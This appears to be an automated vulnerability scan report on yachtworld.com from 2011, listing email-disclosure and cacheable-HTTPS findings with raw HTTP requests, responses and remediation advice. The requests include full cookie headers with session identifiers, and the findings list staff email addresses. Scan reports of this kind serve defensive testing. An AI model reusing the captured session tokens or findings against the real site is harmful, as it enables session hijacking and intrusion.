HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:34:59 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
webmaster@yachtworld.com
Request
GET /core/rendering/print-boat.htm HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:34:55 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email addresses were disclosed in the response:
eanderson@legendarymarine.com
info@legendarymarine.com
Request
GET /core/rendering/print-boat.htm?url=legendary&boatId=2266476&officeId=75325&isPLS=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/transitional.dtd">
The following email addresses were disclosed in the response:
cs@yachtworld.com
policies@yachtworld.com
Request
GET /core/globalnav/privacy.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:42 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
copyright@yachtworld.com
Request
GET /core/globalnav/termOfUse.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:39 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /core/listing/cache/searchResults.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
16. Cacheable HTTPS responsepreviousnext There are 21 instances of this issue:
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
GET /boat-loans/forgot_password.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 